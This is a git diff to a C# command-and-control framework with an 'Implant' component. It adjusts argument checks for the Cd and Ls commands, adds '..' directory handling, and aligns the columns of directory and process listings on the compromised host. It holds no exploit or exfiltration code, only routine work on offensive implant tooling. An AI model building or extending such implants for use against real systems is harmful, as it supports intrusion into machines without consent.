diff --git a/Client/Utils/TaskUtils/AdminUtils/Cd.cs b/Client/Utils/TaskUtils/AdminUtils/Cd.cs index b99b5ae..4a253c1 100644 --- a/Client/Utils/TaskUtils/AdminUtils/Cd.cs +++ b/Client/Utils/TaskUtils/AdminUtils/Cd.cs @@ -18,7 +18,7 @@ namespace Client.Utils.TaskUtils { if (opts is null) { throw new AtlasException($"[*] Usage: Cd [Path]\n"); } - if (!(opts.Length == 2)) { throw new AtlasException($"[*] Usage: Cd [Path]\n"); } + if (opts.Length > 2) { throw new AtlasException($"[*] Usage: Cd [Path]\n"); } if(CurrentImplant is null) { throw new AtlasException("[-] No connected implant"); } newDir = opts[1]; diff --git a/Client/Utils/TaskUtils/AdminUtils/Ls.cs b/Client/Utils/TaskUtils/AdminUtils/Ls.cs index 6f89ee6..d2159bc 100644 --- a/Client/Utils/TaskUtils/AdminUtils/Ls.cs +++ b/Client/Utils/TaskUtils/AdminUtils/Ls.cs @@ -17,7 +17,7 @@ namespace Client.Utils.TaskUtils.AdminUtils { if (opts is null) { throw new AtlasException($"[*] Usage: Ls [Path]\n"); } - if (!(opts.Length == 2)) { throw new AtlasException($"[*] Usage: Ls [Path]\n"); } + if (opts.Length > 2) { throw new AtlasException($"[*] Usage: Ls [Path]\n"); } if (CurrentImplant is null) { throw new AtlasException("[-] No connected implant"); } path = opts[1]; diff --git a/Implant/Tasks/Execute/Administration/Cd.cs b/Implant/Tasks/Execute/Administration/Cd.cs index 836a2d5..7e8599d 100644 --- a/Implant/Tasks/Execute/Administration/Cd.cs +++ b/Implant/Tasks/Execute/Administration/Cd.cs @@ -21,6 +21,12 @@ namespace Implant.Tasks.Execute path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); } + if (path == ".."){ + string[] dirArr = Directory.GetCurrentDirectory().ToString().Split('\\'); + Array.Resize(ref dirArr, dirArr.Length - 1); + path = string.Join("\\", dirArr); + } + Directory.SetCurrentDirectory(path); return $"[*] Path set to {Directory.GetCurrentDirectory()}"; diff --git a/Implant/Tasks/Execute/Administration/Ls.cs b/Implant/Tasks/Execute/Administration/Ls.cs index 8db9680..5483ab8 100644 --- a/Implant/Tasks/Execute/Administration/Ls.cs +++ b/Implant/Tasks/Execute/Administration/Ls.cs @@ -3,15 +3,23 @@ using System.Text; using Implant.Models; +using static Implant.Utils.Extensions; + namespace Implant.Tasks.Execute { class Ls : ImplantCommands { - private string targetPath { get; set; } + private string targetPath { get; set; } + + private int fileNameLen { get; set; } + private int fileSizeLen { get; set; } + private int dirNameLen { get; set; } + public override string Name => "Ls"; public override string Execute(ImplantTask task) { + targetPath = task.Args; StringBuilder _out = new StringBuilder(); @@ -20,19 +28,64 @@ namespace Implant.Tasks.Execute targetPath = Directory.GetCurrentDirectory(); } + var dirs = Directory.GetDirectories(targetPath); - foreach(var dir in dirs){ - var dirData = new DirectoryInfo(dir); - _out.AppendLine($"{dirData.Name}"); + var files = Directory.GetFiles(targetPath); + + dirNameLen = lsParse.getMaxDirLen(dirs); + fileNameLen = lsParse.getMaxFileLen(files); + + if (dirNameLen < fileNameLen) { + _out.AppendLine($"{"Name".Align(fileNameLen)} {"Length".Align(fileNameLen + 5)}"); + _out.AppendLine($"{"----".Align(fileNameLen)} {"------".Align(fileNameLen + 5)}"); + } else { + _out.AppendLine($"{"Name".Align(dirNameLen)} {"Length".Align(dirNameLen + 5)}"); + _out.AppendLine($"{"----".Align(dirNameLen)} {"------".Align(dirNameLen + 5)}"); + } + + foreach (var dir in dirs){ + var dirData = new DirectoryInfo(dir); + _out.AppendLine($"{dirData.Name.Align(dirNameLen)}"); } - var files = Directory.GetFiles(targetPath); foreach (var file in files) { var fileData = new FileInfo(file); - _out.AppendLine($"{fileData.Name} {fileData.Length}"); + + if (dirNameLen < fileNameLen){ _out.AppendLine($"{fileData.Name.Align(fileNameLen)} {fileData.Length.Align(fileSizeLen + 5)}"); } + else{ _out.AppendLine($"{fileData.Name.Align(dirNameLen)} {fileData.Length.Align(dirNameLen + 5)}"); } + } return _out.ToString(); } } + + public sealed class lsParse + { + public static int getMaxDirLen(string[] dirs) { + int maxDirNameLen = 0; + + foreach (var dir in dirs) { + var dirData = new DirectoryInfo(dir); + if (dirData.Name.Length > maxDirNameLen) { + maxDirNameLen = dir.Length; + } + } + + return maxDirNameLen + 5; + } + + public static int getMaxFileLen(string[] files) { + int maxfileNameLen = 0; + + foreach (var file in files) { + var fileData = new FileInfo(file); + if(fileData.Name.Length > maxfileNameLen){ + maxfileNameLen = fileData.Name.Length; + } + } + + return maxfileNameLen; + } + } } diff --git a/Implant/Tasks/Execute/Administration/Ps.cs b/Implant/Tasks/Execute/Administration/Ps.cs index 61176a6..f16dabb 100644 --- a/Implant/Tasks/Execute/Administration/Ps.cs +++ b/Implant/Tasks/Execute/Administration/Ps.cs @@ -3,10 +3,16 @@ using System.Diagnostics; using Implant.Models; +using static Implant.Utils.Extensions; + namespace Implant.Tasks.Execute { class Ps : ImplantCommands { + private int procIDLen { get; set; } + private int procNameLen { get; set; } + private int procSessionIDLen { get; set; } + public override string Name => "Ps"; public override string Execute(ImplantTask task) @@ -14,16 +20,58 @@ namespace Implant.Tasks.Execute StringBuilder _out = new StringBuilder(); - _out.AppendLine($"{"PID", -15} {"ProcName", -35} {"SessionId",-45}"); - _out.AppendLine($"{"---", -15} {"--------", -35} {"---------",-45}"); - var procs = Process.GetProcesses(); - foreach(var proc in procs){ - _out.AppendLine($"{proc.Id, -15} {proc.ProcessName, -35} {proc.SessionId, -45}"); + procIDLen = psParse.getMaxProcIDLen(procs); + procNameLen = psParse.getMaxProcNameLen(procs) + procIDLen; + procSessionIDLen = psParse.getMaxProcSessionIDLen(procs) + procNameLen; + + + _out.AppendLine($"{"PID".Align(procIDLen)} {"ProcName".Align(procNameLen)} {"SessionId".Align(procSessionIDLen)}"); + _out.AppendLine($"{"---".Align(procIDLen)} {"--------".Align(procNameLen)} {"---------".Align(procSessionIDLen)}"); + + foreach (var proc in procs){ + _out.AppendLine($"{proc.Id.Align(procIDLen)} {proc.ProcessName.Align(procNameLen)} {proc.SessionId.Align(procSessionIDLen)}"); } return _out.ToString(); } + + } + + public sealed class psParse + { + public static int getMaxProcIDLen(Process[] procs) { + var maxProcIDLen = 0; + foreach (var proc in procs) { + if (proc.Id.ToString().Length > maxProcIDLen) { + maxProcIDLen = proc.Id.ToString().Length; + } + } + + return maxProcIDLen; + } + + public static int getMaxProcNameLen(Process[] procs) { + int maxProcNameLen = 0; + foreach (var proc in procs) { + if (proc.ProcessName.Length > maxProcNameLen) { + maxProcNameLen = proc.ProcessName.Length; + } + } + + return maxProcNameLen; + } + + public static int getMaxProcSessionIDLen(Process[] procs){ + int maxProcSessionIDLen = 0; + foreach (var proc in procs) { + if (proc.SessionId.ToString().Length > maxProcSessionIDLen) { + maxProcSessionIDLen = proc.SessionId.ToString().Length; + } + } + + return maxProcSessionIDLen; + } } } diff --git a/Implant/Utils/Extensions/Extensions.cs b/Implant/Utils/Extensions/Extensions.cs index 111d66c..fe0339d 100644 --- a/Implant/Utils/Extensions/Extensions.cs +++ b/Implant/Utils/Extensions/Extensions.cs @@ -20,5 +20,9 @@ namespace Implant.Utils using (var stream = new MemoryStream(data)) { return (T) serializer.ReadObject(stream); } } + + public static string Align(this object T , int lenth) { + return T.ToString().PadRight(lenth); + } } }